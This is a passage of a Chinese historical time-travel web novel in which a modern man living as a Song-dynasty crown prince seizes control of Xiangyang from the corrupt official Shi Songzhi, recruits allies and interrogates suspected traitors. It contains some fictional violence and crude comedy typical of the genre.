孟珙见余阶将话题转向自己,开口说道“;殿下可拿出史嵩之的印信,并您的太子令牌,交给小将,小将愿亲去说服襄阳各营。”
“:万一这襄阳兵丁,只认他史嵩之命令。又当如何?”宋宇犹豫的说道。
孟珙一听,哈哈大笑“:殿下,这襄阳兵丁,巴不得他史嵩之滚蛋呢。”
“:哦?怎么讲?”
第六十七回 义收王焕君 怒审史嵩之
孟珙一脸愤愤不平的回答“:殿下,别看史嵩之喝酒宴请,甚至是买个花魁都是一掷千金,出手阔绰,但对襄阳各营,却是层层盘剥,粮草不给也就罢了,就是饷银,自打他来了以后,也是一个子没给过。再者,史嵩之向来看不起武人,虽则有个别指挥使巴结逢迎,但也是局外人。捞不得多少好处。相比于整日跟在史嵩之身边的文官,兵马钱粮,皆握在手。可谓是吃了个饱。直把这襄阳将士,得罪了个彻底。小将担保,襄阳各营,会倾心归附殿下。再加上小弟父亲,在荆襄地区素有人望。想必没人会跳出来反对。”
宋宇听了这孟珙一番分析,暗中下了决心,对着厅内众人吩咐道“;本殿下主意已定,众兄弟听令。”
厅内众人慌忙领诺。
只见宋宇握剑横眉,居高临下,威严的下令道“:孟珙吕文德听令,命你二人,携本殿下与史嵩之印信,传令襄阳各处营寨,制置使史嵩之卧病在床,无法履职。从今日起,荆襄之地唯本殿下命令为准。有敢不听令者。斩。同时,严令各驻守军,紧守城门关隘,但有携带书信往来者,悉数擒住盘问。”
两人得了令,上前领了太子令牌。向宋宇告了辞,便去后堂向史嵩之索要制置使印信去了。
宋宇继续下令道“;杨姑娘,劳烦你将仍在码头的忠义军,悉数招来史府,我有求于你忠义军。”
杨妙珍爽快的领了声喏,退出了厅内。
“:余阶听令。”
“:在!”
“:命你和程保两人,搜查史府府库,封存金银细软,待到杨妙珍带来忠义军,你们便将今日所有在场官员的府邸,一并搜查,所查获财物,甚至是家眷,悉数带回史府,妥善看管。”
“:喏!”
“:彭义斌听令。”
“:俺在。”
“:这厅内的其余人员,便交给你看守,等忠义军来了后,一并交给余阶处置。”
“:得令。”
所有人全都安排完了以后,宋宇看了看厅内,只见一位眼生的姑娘,站在不远处,此时正目不转睛的盯着自己。
宋宇出声询问道“;这位姑娘是何人?”
“:这位姑娘便是方才从背后擒了盛章之人。”彭义斌慌忙在旁答道。
那姑娘眨巴眨巴眼,向前走了几步。对着宋宇行了一个倩礼“;民女王焕君,拜见太子殿下。”
王焕君?历史上有这么号人物?宋宇正暗自疑惑,一旁彭义斌爽朗的说道“:殿下,方才俺们幸亏得了这位姑娘提醒,才躲过了那酒中的**。”
言毕,彭义斌将方才离开宋宇之后,发生了何事,缓缓道来。
原来,就在余阶等人离了宋宇后,被一侍卫模样之人带到了旁厅。比起宋宇那边来,这边却是冷清了许多。
没有歌舞,甚至连个伺候酒肉的小厮都没有。只在屋内有张八仙桌,摆满了酒菜。
众人见没有外人,放开了许多,入席后,便要敞开了吃喝。
哪知就在这时,房梁之上传来一个声音“:诸位,这酒,喝不得。”
余阶等人听了大惊,正要抬头看去,房梁上那人又说话了“;诸位,切莫抬头,小心隔窗有眼。你等且假作饮酒。瞒骗那人,到时定然会有一番好戏看。”
余阶等人听了劝告,互相递了个眼色。便开始做起了戏。只端碗,喝了吐。
就这样,也不知过了多久,房梁上之人才开口提醒道“:诸位,来人了,该晕倒了。”
众人纷纷做不胜酒力状。东倒西歪的晕倒在了桌案旁。
就在晕倒后不多时,外边冲进来十余个黑衣人,对着余阶等人就要下**。
一番交战后,黑衣人全部殒命,却在这时,屋外传来甲士行军呼喝声,又听主厅一阵乱糟糟,便冲出去查看情况。
宋宇听完了叙述,仔细打量着面前这位王焕君,就见她相貌平平,长发盘于头顶,用发钗扎住。一身蓝布道袍,可见是个道家人士“:姑娘你为何会出现在房梁之上?”
王焕君听了宋宇询问,嘻笑一声“;殿下,我乃全真教唯一女传人,清净散人孙不二的弟子。学的便是轻功拳脚。数年前,家师故去,再加上金蒙混战,北地饿殍遍野。焕君便离了家乡,只身一人来到了襄阳。到了襄阳之时,正逢他史嵩之上任,大肆搜刮百姓。焕君见这襄阳百姓不堪其苦。自恃轻功拳脚尚可,便时不时来这史府偷金窃玉。再将其发给那些无有生路的百姓。时间长了,这襄阳百姓便唤我做王仙姑。就在昨日夜间,焕君又来这史府晃悠,无意间听到了史嵩之安排要刺杀殿下,便留在了这史府之中,只等殿下到来。”
原来是个女贼,还是个道家义贼。宋宇一脸不可置信的看着面前王焕君,;想不到姑娘如此侠义心肠,你可愿意留在本殿下身边?”宋宇起了收服之心,微笑着询问道。
王焕君摇摇头“;焕君修道之人,对这世间功名利禄,无甚想法,今日助殿下灭了此贼,焕君心事已了,还请殿下放焕君离去。”王焕君淡然一笑,委婉的拒绝宋宇道。
宋宇自打来到这大宋朝,第一次遇到拒绝,心中顿时似猫爪挠一番“:焕君姑娘,如果本殿下替这天下百姓,恳请你留下,助我一臂之力。姑娘可否答应?”
王焕君一听宋宇之言,眉头皱了皱“;这,殿下,你我初次相识,焕君又不知殿下为人如何?殿下又如何能代表这天下百姓?”
宋宇看这王焕君仍有疑虑,正寻思怎么劝下去。
旁边张三丰开口了“:姑娘,可识得三丰**否?”
王焕君听了张三丰言语,回答道“:三丰**之名,在这荆州地界上,恐怕无人不知无人不晓。敢问这位道长何意?”
张三丰哈哈一笑“:姑娘,贫道便是张三丰,贫道观殿下十分欣赏姑娘侠义心肠,至于殿下的人品,贫道愿以身家性命相担保。在此斗胆请姑娘留下,助殿下一臂之力,也当是为天下百姓,做一件好事。”
王焕君
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低头沉思片刻“;原来您就是三丰**。还请受晚辈一拜。”
张三丰慌忙止住了她,迫不及待的询问道“;姑娘,贫道恳求之事?”
“:若是三丰**,自然能代表天下百姓开口。有三丰**保证,想必殿下也是侠肝义胆得真英雄。焕君一介女流,能得殿下青睐。实是愧不敢当。殿下若不嫌弃,焕君愿助殿下一臂之力。”言罢,摆脱了张三丰的搀扶,转过头,对着宋宇拜下。
宋宇看着面前这位,三言两语被张三丰劝服的王焕君,心里百味杂陈:这就叫名人效应啊。自己一届太子,尚且劝不动,人张三丰出马,三言两语搞定。“
“;焕君姑娘,本殿下想与你结拜为兄妹,可否?”
王焕君满脸的不可思议之色“;殿下,莫要开焕君玩笑了。”
彭义斌立马大笑着劝道“:妹子,这屋内大多人都与殿下结拜,妹子何故不信?”
王焕君听这彭义斌的大嗓门一吆喝,抬起头看了看面前的宋宇。
只见宋宇面带笑容一把将自己扶起“:焕君姑娘,从今日起,本殿下又多了你一个妹子。”
与之前那帮老爷们一听宋宇要结拜,都哭鼻子不同,这王焕君到底是女子,只见他双手抱拳“:殿下,希望你能为天下百姓着想,倘若有一日,殿下有负百姓,妹子到时定会弃你而去。”
“:小妹放心,我赵竑绝不负今日所言,若有负,天下人人可杀之。”宋宇义正言辞的保证道。
王焕君得了宋宇保证,这才露出了笑容“;太子兄长,这史嵩之在后院建有一隐蔽府库。里面藏的,少说价值数千万两白银。另外,在府库之内,有他史嵩之暗通金国,买官卖爵的书信与名录。”
宋宇一听大喜:千万两白银?这下有钱了。可惜杨辉兄弟不在,不然准能把他笑趴下。
“妹子可是立了大功,苍天有眼,将小妹你送来助我一臂之力。”
鉴于现在手头没多少人,宋宇便先将此事放在了一边,打算等杨妙珍带忠义军来了以后再说。
“:将史嵩之带来前厅审问。“宋宇大声呼喝道。
不多时,史嵩之两人又被赵国连踹带赶,哄到了前厅。
宋宇一脸平静的坐着,询问史嵩之道“;史大人,我且问你,为何不救枣阳?”宋宇首先想到了枣阳被围。
史嵩之一听宋宇问起此事,满脸苦色“:殿下,这事怪不得下官,都是盛章从中作梗。”
宋宇一听这史嵩之撒谎,怒声质问道“:别把本殿下当傻子,什么事都往盛章身上推。”
史嵩之见宋宇动怒,支支吾吾半天说不出话来。
宋宇看这史嵩之这模样,心中好笑,你方才那官威十足,盛气凌人的样呢,怎么现在哆哆嗦嗦,说不出话来?快拿出你买那第七百多个小妾的劲儿,把话说敞亮了。
“;殿下,这史嵩之为何不救枣阳,妹子却也知晓。”宋宇正看着史嵩之软蛋样暗自偷笑时,王焕君在旁开口了。
第六十八回 他们没人性 盛章表心迹
宋宇听王焕君似是知道些什么,赶忙询问道“;小妹快快讲来。”
王焕君拱了拱手“;半年前,这史嵩之府上,曾来过数个女真蛮子。所言何事,小妹虽然不知,但之后不久,那女真蛮子便率军南下,夺樊城,围枣阳。但这史嵩之确是不闻不问。想来,定是被女真蛮子收买了。”
宋宇听了王焕君言语,心中顿时明了:感情这史大人,还是个买卖人,只不过,卖的是那大宋城池。可与一般的商贾大大的不同“;呦呵!史大人,想不到你还和金国有一腿呢?”
史嵩之自打被王焕君拆穿,就已屎尿横流。混合着屋内的鲜血,腥臊无比。
让一旁的赵国是直捂鼻子,结巴着骂道“:杀杀,杀才。臭死爷爷了。”
宋宇看着面前抖如筛糠,大小便失禁的史嵩之,知道这人算是废了。再吓她,恐怕能直接吓死。
索性对着小小吩咐道“;小小,你现在领着赵国去街上,寻几位医师,最好是外科的。”
小小得了宋宇命令,也没多问,向宋宇告了声辞,带着赵国向院外走去。
宋宇看眼前事务处理的差不多了。便斜倚在座位上,闭眼休息,方才打斗,着实把他累得够呛,
一个时辰之后,杨妙珍率先回来。身后还跟着一众忠义军的兵丁,宋宇谢过了杨妙珍,命他带领着一部分忠义军收拾史府,守卫各处。又分给余阶一队忠义军,让他继续查抄其他官员府邸。
小小第二回来,身后却只带了一个医师“;殿下,找遍了附近,却只找到这一个郎中,小小怕误了殿下大事,便匆忙赶回来了。”
那郎中见了宋宇,倒头便拜“:草民,严用和,拜见太子殿下。”
宋宇开口回道“;快快请起,本殿下问你,可会将人手脚砍去而不死?”
“:殿下,草民行医多年,多是治病救人。从不害人啊。”严用和一听宋宇所言,立马推辞道。
宋宇指了指地上已经昏厥过去的史嵩之说道“:这位乃是史嵩之史大人,平素好搜刮民财。本殿下为了给他治治这不守规矩的毛病,打算将其手脚都剁掉。阁下以为如何?”
严用和一听宋宇所言,又看了看面前史嵩之,眼神中露出异样光芒“;殿下,草民愿意替这史大人除此恶疾,只不过,若是失手,反倒治**。还请殿下莫要怪罪。”
“:嗯嗯,不怪罪,随便治。治**更好。省粮食。”宋宇一脸无所谓的答道。
言罢,对着屋内两名忠义军兵丁吩咐道“:你二人将史大人抬到后堂。多点蜡烛。让这位郎中医治。”
两名忠义军得了令,领了声喏。拖死狗般,将脑满肠肥的史嵩之拖向了后堂。
看着宋宇收拾这史嵩之,谢道清在一旁调笑道“:殿下,想不到你会如此惩罚他。比一剑杀了他更妙。”
宋宇一脸古怪的盯着谢道清:清儿虽说在历史上善恶分明。但想不到在现实中也是这般嫉恶如仇。真是长见识了。
“:清儿,方才怕不怕?”
谢道清笑着说道“:清儿不怕,有殿下在,这些草包,岂能得逞?不过实在想不到,他史家做生意,竟然都做到我大宋国的世仇大金国去了。真是丢我们宋人的脸。”
宋宇见谢道清并没有被方才的场打斗景吓到,心道这姑娘心真大。话说方才要不是王焕君出言救了余阶等人,现在只怕被砍手跺脚的,是自己一帮人呢。
“:你也见到了,这帮人为了钱无所不用其极,丝毫没有一点人性可言,现在史嵩之被我等搞成这样,万一消息走漏,我等怕是永远回不了临安了。清儿,你现在走还来得及。有杨皇后在,史弥远肯定不会难为你。”宋宇接着话头劝道。
“:殿下,方才是不是没吃好?清儿去厨房给你弄几道小菜。小小,你也来搭把手。”哪知谢道清却并未理会宋宇,直接转移话题,领着小小,向厨房走去。
宋宇被无视,长叹一口气,脸上写满无奈。转过头对着面前跪着的盛章说道“;盛指挥使,该你了。”
盛章自打刚才看到史嵩之被拖走,就一直低头沉默,此时宋宇问到他。盛章一脸惊恐的抬起头,小声说道“:殿下,其实。小人是皇上放在史弥远身边的卧底。”
宋宇听了盛章之言,眼睛睁得溜圆“:盛大人是不是刚才喝多了?”
盛章却一脸认真的模样回答“;殿下,你觉不觉得,今日胜得有些太容易了?”
宋宇还以为这盛章会说出怎样一番惊天动地得话,结果大失所望,哈哈大笑着说道“:盛大人之意,莫不是今日我等能打败史嵩之,全赖你一人之功?”
盛章摇摇头“:小人没帮上多大忙,只不过,殿下,这厅内酒中没有**,旁厅为何会有?”
宋宇细一琢磨:没有**?我也没喝过啊?史嵩之劝酒,直接被我挡了回去。
转过头看向厅内众人“;厅内酒中可有**?”
方才领着忠义军回来的杨妙珍听宋宇问起,出言答道“;殿下,我倒是喝了不少,确实没有**。”
宋宇此时感觉事情很不简单,继续追问盛章道“:继续说下去。”
盛章见宋宇有些信了,长出一口气“;殿下,其实旁厅那桌酒宴,也没有**。所以殿下的这帮兄弟,才能及时赶来救殿下。”
宋宇摆摆手“:盛大人,别拿我当三岁小孩。方才倘若不是小妹暗中提醒,现在你我只怕调了个个。我是被审之人了吧?”
盛章被宋宇一番言语,说的满脸疑惑之色。这也难怪,方才王焕君说话之时,他早已被押到了后厅,又如何得知中间出了差错?
只见这盛章好奇的问道“:小妹?殿下哪里来的小妹?”
宋宇看这盛章确实有点问题,为了搞清楚真相,也不瞒他。将方才之事,仔细叙述了一遍。盛章听后一副恍然大悟的样子“:殿下,原来中间出了纰漏。其实旁厅就算没有殿下小妹提醒,也无大碍。因为酒中根本就没有**。”
言罢,盛章将整件事情的来龙去脉,原原本本地讲述了一遍。
原来这盛章在宋宇出发前一天,便受了史弥远之命,来这襄阳布置杀害宋宇。
由于史弥远行事紧密,又给盛章身边选派了二十余个好手。使得盛章丝毫没有时间与机会去提醒宁宗皇帝。
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无奈之下,只好惴惴不安的来到了襄阳。直到日前宋宇等人到来。这盛章才开始两手准备。
一方面,教唆史嵩之如何布置。
另一方面,阳奉阴违,寻机搭救宋宇。
这假作放**,只是其中一件。
让史嵩之将大部分营兵陈兵府外,则是第二件。
第三件,这盛章一直在史嵩之身边徘徊,而不去监视余阶等人,实是为了在迫不得已的情况下,为挟持史嵩之,搭救宋宇作打算。
宋宇听完他一番高论,仍很疑惑“;你说你一直在寻找合适时机,挟持史嵩之,可本殿下被围困那么久,也没见你动手,你说的,未免牵强。”
盛章尴尬得笑了笑“;殿下,您身边这些人,个顶个的英雄好汉,身手了得,尤其是那道士还有这位姑娘,二人之力,保得殿下毫发未损,后来冲进来那大汉,更是在士兵中左冲右撞,如入无人之境,有他们在,盛某都怀疑被埋伏的其实是史嵩之。”
宋宇冷笑一声“:我姑且信你一面之词。”
嘴上说信,其实宋宇心里门清,像盛章这样的,八成是双料卧底,墙头草,随风倒,两边下注。
为了确定盛章言语的真实性,宋宇转过头对着赵国吩咐道“;赵兄弟,去,到旁厅拿一坛酒来。给这盛大人满上。”
赵国领了声喏,向外走去。
盛章见宋宇如此小心,哈哈大笑“:多谢殿下赐酒。盛某愧领了。”
宋宇捏着下巴,仔细的打量着盛章:这厮在历史上笔墨太少了。只道是史弥远心腹。还真是不太好下决定了。
至于宁宗,宋宇穿越来之前,就觉得他是个软柿子,皇后大臣随便捏。来了之后,宋宇觉得宁宗好像藏拙了。为何?很简单,历史上,为什么傻不愣登得太子赵竑,一直敌视史弥远,史弥远却没法下**?恐怕和宁宗的保护密不可分。
而且这宁宗不管太子如何胡闹,史弥远如何陷害,一直到死,都不曾有过另立储君的打算。
可见这宁宗很有想法,不是轻易能被人左右得软耳根。可在有想法,宁宗终究没有兵权,更没有能够力压史弥远一头得能力,以至满朝皆是史弥远爪牙,最终于弥留之际没有足以托付后事的,有实力得大臣,来保住太子赵竑的皇位。
宁宗死后史弥远的奸计得逞。扶持理宗即位,史弥远更是趁着朝中自己一家独大得局面,轻易就将太子给弄**。
由此可见,这宁宗对太子生死,有多重要。身为一介君王,如果真的一点兵权都没有,恐怕就不只是在朝堂上没有话语权这么简单了。更不可能护得太子平安。宁宗表面上被后权压制,可细一想,后权和史弥远的相权,又形成了某种微妙的制衡关系,宁宗夹在两权之间,似是起到似有似无的平衡作用。
虽然表面上宁宗手中没有兵权,可或明或暗,让史弥远不敢任意妄为。宁宗除了后权制衡,保不齐也会拉拢一些禁军将领,不然,就凭史弥远现在表面所展现的实力,谋朝篡位,简直易如反掌。而这盛章,可能也确如他所说的那样,是宁宗暗地里拉拢的禁军将领之一。
第六十九回 城内五营将 刨根问病因
这盛章又是三司之中的侍卫马军司,也就是说,三司之中,宁宗和史弥远明里暗里,各占一司,剩下一司,却不知会在谁手中了。说不定。
想到这里,宋宇心中突然有个大胆的想法:莫不是剩下一司,在杨皇后手中?
就在宋宇绞尽脑汁,猜测朝中势力关系之时,赵国抱着满满一坛酒,吃力的走了过来“;殿下,酒酒酒,来了。”说着,‘咚’一声,放到了盛章面前。
盛章也不惺惺作态,将酒打开。抻着脖子,低着头就喝。只听‘咕咚咚’的饮酒声响起。直馋的周围众人流口水。
“:哈哈,好酒。”
盛章低头喝了个过瘾。大声喊叫道“;殿下,且等一炷香时间,一炷香时间过后,盛某若是没有晕倒,自能澄清清白。”
宋宇点点头,继续聊道“;盛大人,史弥远可知你身份?”
盛章许是喝的太猛,脸色微红打着酒嗝说道“;若是知道,定然不会让盛某来此。”
“:本殿下很好奇,你追随史弥远,吃香的喝辣的,要钱有钱,要权有权,为何会不效死命?”宋宇似聊天般,旁敲侧击道。
盛章听了,咧嘴一笑“:殿下,盛某只忠于陛下,姓史得,盛某瞧不起他。”
宋宇一听很是惊讶,瞧不起?这话说得,史弥远要钱有钱,要权有权,要女人有女人。你这货竟然瞧不起他?
这话要是让史弥远知道,估计能气的吐血“;那为何盛大人你到现在才澄清?”
“:殿下,方才有史嵩之在旁,不便回答,史嵩之走后,又有小小那姑娘在。故尔到现在才澄清。”
宋宇听这盛章一语道破了小小身份,笑着问道“:盛大人,本殿下对你的来历,很有兴趣。可否说来听听?”
盛章听宋宇问起自己身世经历,也不见怪,知道宋宇对自己疑虑未消“:殿下,当年皇上初掌大宝时,小人本是一小小宿卫军。但皇上却并未看不起小人。反倒暗中将小人安插到了韩侂胄掌握之下,经过数年时间,小人登上了虞候之位。但没过多久,韩侂胄兵败被杖杀玉津园。其心腹党羽,亦被史弥远屠戮殆尽,小人由于当时并不属于韩侂胄死党,幸免于难。在皇上的授意下,屈身转侍史弥远。由于有皇上在身后暗中助力,小人很得史弥远器重。慢慢的,便成了侍卫马军司指挥使。但小人的心,只属于大宋,属于皇上。”说这一席话之时,盛章泪光闪动,似是对自己这十数年来的过往,很是感怀。
“:多谢盛大人告知本殿下这些辛酸往事,现在时辰已到,看来酒中确实没有**,本殿下也不难为你了,但是,为了保险起见,盛大人,在我等回临安之前,需把你暂且软禁在府中。”宋宇此时信了大半,却也没有要放走盛章的意思。
盛章感激的磕了一个头“:殿下行事小心,实是没有负了皇上的苦心。只不过,殿下,这史弥远可不是个简单角色,若是长时间得不到襄阳消息,恐怕会有动作。还请殿下小心提防。”
宋宇听了盛章提醒,知道他是故意抛出问题,只等自己询问,便饶有兴致的问道“:那依盛大人之意?”
盛章也不故弄玄虚,坦率的说道“:不如让盛某写封书信,名言殿下已死,再用他史嵩之的官印盖章。如此,定能稳住史弥远。”
宋宇仔细思虑了片刻“:也好,只不过,这封书信,现在却不着急写,待本殿下,了断了枣阳战事,再写不迟。”言罢,对着盛章招了招手,示意他起来。
盛章见宋宇心中有了主意,也不再言语,站起身,被几个忠义军士兵押解着向厅外走去。
就在这时,院外跑进来几个忠义军士兵,跪在地上,对着宋宇并报道“;殿下,后院发现史府大批女眷。现已被我等集中到厅外,还请殿下处置。”
宋宇摆摆手“:起来吧,将这些人全都关押起来,严加防范,待我两位兄弟回来后,再做定夺。”
那边宋宇坐镇史府,有条不紊的处理一干事务,这边孟珙更是忙得焦头烂额。就在孟珙与吕文德刚出史府时,便被门口站的黑压压一片的士兵吓了一跳,待拿出宋宇金牌,与史嵩之印信后,一身着盔甲的将军才露面,与孟珙攀谈起来。
经过一番盘问交涉,好不容易才劝退了门外的士兵。却并未放那穿盔甲的将军离去。
反倒是领着这穿盔甲的将军,继续向其他营寨赶去。根据孟珙所知,这襄阳城内共有五个指挥,近两万士兵。除了城内,城外还有两营水军,与三个指挥得骑军。自知任务艰巨,两人几乎是一路小跑。
三个时辰后,已经入夜,借着满月的银光,孟珙吕文德此时正与五个身穿盔甲的将军,快步向宋宇所在赶去。
边跑,身边几个将军边问道“:孟小将军,倒底是甚急事,要赶的如此匆忙?“
孟珙忙说道“:几位指挥,等到了殿下处,殿下自然会解释清楚。“
一路急行,终于赶到史府,此时厅内已被忠义军收拾干净,点满了灯烛。
但除了宋宇外,其余人都休息了。此时宋宇正趴在桌案上,也不知做的什么美梦,哈喇子流了一桌。
杨妙珍却拿着一张毯子,悄悄地走到了宋宇身边,将毯子披在宋宇身上后,并未离去,直接坐在了宋宇身边,出神的看着宋宇发呆:张三丰说,过了这村,就没这店了,还说殿下侠肝义胆,是难得的明君胚子。
话说这殿下跟一般的官老爷差别好大,以前见的官老爷无不趾高气昂,官威十足,恨不能把尾巴翘到天上去,看向百姓的眼神,就像看一只虫子似的。满眼的嫌恶。
独独殿下,出身高贵,看人的眼神怎么那么平和呢?也没见他摆过什么臭架子,偶尔发脾气,也是对着史嵩之那样的贪官发脾气。这跟当年爹的脾气,好像啊。
这种对人态度,是与生俱来的?还是后天经历了什么?哎....我到底该不该留在他身边,用一身本领帮他?
“;殿下,小弟回来了。”
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>宋宇突然听到有人唤自己,挺起身,揉了揉惺松的睡眼,就见孟珙吕文德领着几个身着盔甲之人,正跪在厅下等待,忙起身说道“;诸位都起来吧,孟兄弟,这几位将军为何来此?“
孟珙见问,站起身来,冲宋宇挤了挤眼“;殿下,不是您传唤几位指挥使大人吗?”
宋宇看这孟珙一直对自己挤眉弄眼,心中明了,感情孟珙打着自己名义招抚得这些指挥使,略一寻思,这样做确实更稳妥“:啊,事情是这样的,史大人身体不适,卧病在床不能起身。所以便将这京湖军务,悉数交给了本殿下代为掌管。今日叫几位来,就是认个脸熟。”
几个指挥使听了解释,满脸质疑之色。只见其中一人施了一礼答道“;小人城北指挥使,赵子方。今日水营,小人也曾随史大人迎接殿下。当时人还好好的。不知是何疾病,竟发的如此之迅猛?”
宋宇看这人刨根问底,在心中思虑了片刻,才一脸遗憾地答道“;唉...想不到史大人为了迎接本殿下,竟然带病外出。实是我大宋朝的栋梁啊。”
几位指挥使听了个迷糊,但看宋宇那表情,也不似作假。只听这赵子方继续小心翼翼得问道“:殿下,这史大人平宿便有病?”
“:可不是吗,但为了大宋,为了百姓,为了天下。史大人是任劳任怨,起早贪黑。这不,今夜终于累倒在了床上,啊错了,是公案上。”
宋宇上边演戏,只把几位指挥使忽悠的云里雾里。
一旁杨妙珍是捂着嘴偷笑。孟珙则暗地里对着宋宇直伸大拇哥。
也不知这赵子方是真傻,还是个喜欢打破砂锅问到底,喜欢玩破案的主,竟然一再追问道“:殿下,倒底累出何等恶疾,竟如此要命啊?”只见这厮一脸期待的问道。
宋宇砸吧砸吧嘴:这货哪来的?这么喜欢听人讲故事?麻蛋,日后别落在本殿下手上,不然欺负死你“:这,实是不大好说,如果几位能保证,听到之后,不外传的话。本殿下便告知你们。”
几位指挥使听了宋宇言语,互相瞅了瞅。才齐声施礼回答道“;还请殿下明说。”
宋宇看着下边这几个一脸期待的几位指挥使,心中暗骂了起来:都踏马有病,喜欢听人编瞎话“:咳咳,既然几位想知道,那本殿下便告知各位。这史嵩之史大人,叽叽烂了。”
“:啊?”只见屋内所有喘气的,几乎异口同声道。
宋宇看着几人似是没明白,解释道“:长期坐着办公,叽叽被坐烂了。”
紧接着,迎来了屋内众人更诧异的表情。孟珙杨妙珍两人的脸,已经憋得通红,想笑又不敢笑。
几个指挥使,都是大张着嘴巴。许久,那名叫赵子方得,才弱弱的问道“:这史大人,去的哪家青楼?见得哪位姑娘?”话一出口,又觉得不妥。但说出去的话,泼出去的水,哪能收得回来?
宋宇心说自己这瞎话编的这么委婉了,这赵子方还能听明白,也是个奇才啊。
第七十回 史府绿帽案 殿下会摆平
面对赵子方失口,宋宇并未有责怪之意。半开玩笑的说道“:这点赵指挥使尽管放心,史大人得病,乃是被几位夫人传播。与青楼没有关系。”
“:哦?”厅内之人更吃惊了。
杨妙珍看着一脸认真的宋宇,实在是憋不住笑了。赶忙捂着肚子对宋宇说道“;殿下,容妙珍出去巡视。”
言罢,转身向厅外走去。
宋宇看着杨妙珍的背影,一脸感激的说道“:杨姑娘与忠义军的兄弟辛苦了,这份情,我赵竑他日定然奉还。”
杨妙珍憋笑憋的太过辛苦,涨红着脸,摇了摇头。出去巡视了。
宋宇目送杨妙珍走远,这才转过头,继续忽悠道“:几位指挥使,唉,实不相瞒,就在今天,史府宴席上,发生了一件**。方才不是说史大人被小妾传染了花柳么,结果你们猜怎么的?整个襄阳官场的官员,十之七八,都得了这个病。史大人闻之整个襄阳的文官,全都得了花柳。是怒不可遏。在宴席上破口大骂他们全都跟自己小妾有染,虽然本殿下苦口婆心的劝了半天,但也没挡住史大人得怒意。就在今天酒宴之上。唉......”
话到此处,宋宇故意装作说不下去的模样。有意要吊一吊这些人的胃口。
“:殿下,发生什么事了?”几人不约而同地问道。
宋宇一脸惋惜的抬起了头“:能怎么?**呗。史大人提前埋伏好了刀盾兵,在酒宴之上,将这襄阳的文官,几乎屠戮殆尽。那场面,太血腥了,太冲动了。无奈之下,本殿下只好将史大人暂且软禁在了府中。几位,你们说,这算个什么事?本殿下一路风尘仆仆,赶到襄阳,屁股都没坐热。竟发生如此**。”
几个指挥使听完宋宇讲述,你看看我,我看看你,一个个大眼瞪小眼。围在一起,小声嘀咕了起来。
孟珙对着宋宇拱了拱手“:殿下,可否借一步说话?”
宋宇见孟珙有话说,点头答道“:也好,那你我,后堂相商。”
言毕,对几个指挥使告辞道“:几位,且稍等片刻。”便与孟珙前后脚,奔着后堂走去。
宋宇他俩走了,这些个指挥使也不小声嘀咕了,干脆放开了声音“:李指挥,看来这次史嵩之**不离十会被调走。”
那名叫李指挥之人见说,立马分析道“:这可不一定,他哥哥可是史弥远,摆平此事,还不是三言两语?”
赵子方见两人都没说到要点,一脸不削的说道“:看看吧,要你们平素多与这些文官交往。现在出丑了吧?局外人瞎猜测了吧?”
剩余四人见这赵子方似是知道些什么,齐声问道“:赵指挥,这里面,莫不是有什么门道?”
赵子方见几人一脸无知的模样,十分得意“:那当然,今日水营去迎接殿下,几位都没被邀请吧?但本指挥可是被邀请了。当时殿下对这史嵩之可是喜爱的紧。亲切的以爷俩相称。依本指挥来看,这件事,怕是殿下会亲自出面帮史嵩之摆平,压根用不到史弥远出手。”也不知这赵子方脑子是什么造的,竟然能想到这点。
另外几个指挥是恍然大悟“:哎呀,不是我们平素不与文官交往,实在是人家看不起咱大老粗。赵指挥,老话说得好,宁得罪将军,不得罪书生。是也不是?再者说,你如此巴结人家,人家捞油水的时候,可曾让你捞到半点好处?还不是让人当狗一样使唤?”李指挥一脸无奈的说道。
“:唉?你怎么说话呢?谁是狗?”赵子方一听这话头,感情是在骂自己。生气的质问道。
“;行啦,别吵吵啦。让殿下听见,岂不笑话我等?”
赵指挥见这俩人要掐起来,呵斥道,呵斥完,还不忘点拨众人一下“:要本指挥说,殿下这人还算不错,起码对我等没有冷眼以对。有事还把我们喊来商量商量,要是换做一向看不起我们的史嵩之,切...别说商量,就是打个招呼他都嫌麻烦。几位,是也不是?”
“;赵指挥的意思是?”几人不约而同的问道。
外边几人商议如何行事,宋宇这边也在商量下一步怎么做。只见孟珙满脸笑意的说道“;殿下这番话,说的实在是妙。”
宋宇忙摇了摇头“:你怎生把这几人都带回来了?害我好一通编瞎话。”
孟珙见宋宇质问自己,也不在意,依旧嬉皮笑脸的说道“;殿下,小弟觉得这几人,可用。”
宋宇皱眉继续问道“:可用?怎么讲?”
“:小弟到现在才回来,实是在这几处营寨都转了转。殿下你猜怎么着?”
宋宇见这孟珙卖官司,追问道“;快讲。莫要故弄玄虚。”
孟珙见宋宇急了,忙答道“:殿下,这几处营寨,皆是残破不堪,就连指挥使住处,也是破败不已,那些个兵丁,不是老的,就是小的,再者就是伤残。手中兵器更是不堪入目,比烧火棍强不了多少。小弟见此,偷偷花银子询问了下底下老兵。才知道,这几处营寨,着实是让史嵩之祸祸的不轻。另外小弟还打听到,这史嵩之颇为瞧不起武人,这几个指挥使在其手下,被当作猪狗般使唤。殿下,若是晓以道理,利以财帛。还怕这几人不真心实意效命?”
宋宇听罢孟珙一席话,暗自思量了一会,才说道“:就按兄弟你说的办。也好让这几处营寨,助我等退了枣阳之敌。”
孟珙见宋宇提起枣阳,一向心急的他,却直接摇了摇头“;殿下,这怕是有些不切实际。这些营寨,明着说是五千人的编制,其实都是吃空饷的。除了这些空响,便是老弱病残,腿脚利索的,一营怕是挑不出来三五百。带着这群夕阳红去打仗,只怕路上就得累死一半。”
“:发生了什么事?这么惨?”
“:殿下,史嵩之到任后,除了捞钱,别的一概不上心。自打来了后,别说军饷,就是粮饷都没正常发过,就算是给,也都是糙米烂菜叶,比喂猪的强不了多少。
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营内青壮争相逃命,剩下的,要么被饿的皮包骨,甚至活活饿死,要么时不时的出去**周边村落,就跟土匪似的。”
我的天?怪不得历史上京湖这块地得战事,都打得惨不忍睹。原来是这么回事。
若非出了个孟宗正,招抚了北方流民两万,组成了忠顺军,怕是这南宋亡得更快。
穿越前,宋宇就一直很疑惑,金国都被蒙古打得惨不忍睹,龟缩河南一地,为何与南宋打,前锋竟然能打到江西腹地。
感情这南宋的城池,都是白给的。
“:唉,咱大宋朝也算是烂到根上了。上有奸臣弄权,下有贪官为祸。好不容易出两个忠肝义胆的英雄,也都是悲剧收场。”
“;殿下,何必如此感概?小弟相信,他日殿下定然能还世间一个太平。现下,殿下还是小心谋划为妙。”孟珙见宋宇突发感慨,面色难看。在旁劝道。
宋宇听了孟珙所言,冲着他笑了笑“:孟兄弟,接下来当如何为之?”
